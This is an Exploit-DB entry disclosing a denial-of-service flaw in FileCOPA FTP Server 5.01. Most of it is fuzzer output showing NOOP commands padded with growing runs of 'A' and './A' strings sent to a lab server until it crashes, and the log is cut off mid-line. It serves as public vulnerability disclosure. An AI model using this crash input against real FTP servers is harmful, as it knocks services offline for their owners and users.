Exploit-DB #33220
Description: FileCOPA FTP Server 5.01 - 'NOOP' Denial of Service
Type: dos
Platform: windows
Date: 2009-09-15
Author: Asheesh kumar Mani Tripathi

Exploit:
source: https://www.securityfocus.com/bid/36397/info

FileCOPA FTP Server is prone to a denial-of-service vulnerability.

A successful exploit may allow attackers to halt the server process, resulting in a denial-of-service condition.

FileCOPA FTP Server 5.01 is vulnerable; other versions may also be affected.

                    =============================================================

                     FileCOPA FTP Server Version 5.01 Remote DoS Exploit(0day)
                    =============================================================
# code by Asheesh kumar Mani Tripathi
# Credit by Asheesh Anaconda
# FTP Server stops after so much fuzzing input
# Tested on Vista ,XP SP3, Xp SP2


Total FTP commands: 1
FTP commands to fuzz: 1
Number of Fuzz tests: 3498

[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
220-InterVations FileCOPA FTP Server Version 5.01 31st August 2009

[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 30 ]
RECV: 200 NOOP command successful

[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 70 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 150 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 330 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 520 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 700 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 1400 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 2300 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 3000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 4700 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 6300 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 7300 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 9000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 11000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 13000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 20000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 30000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 40000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 60000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 90000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 120000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [AAAAAAAAAAAAAAAAAAAA]    SIZE: 200000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 30 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 70 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 150 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 330 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 520 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 700 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 1400 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 2300 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 3000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 4700 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 6300 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 7300 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: 9000 ]
[ Connecting to 192.168.253.134:21... ]
[ Connected, starting fuzz process... ]
[ CMD: [NOOP]   FUZZ: [./A./A./A./A./A./A./]    SIZE: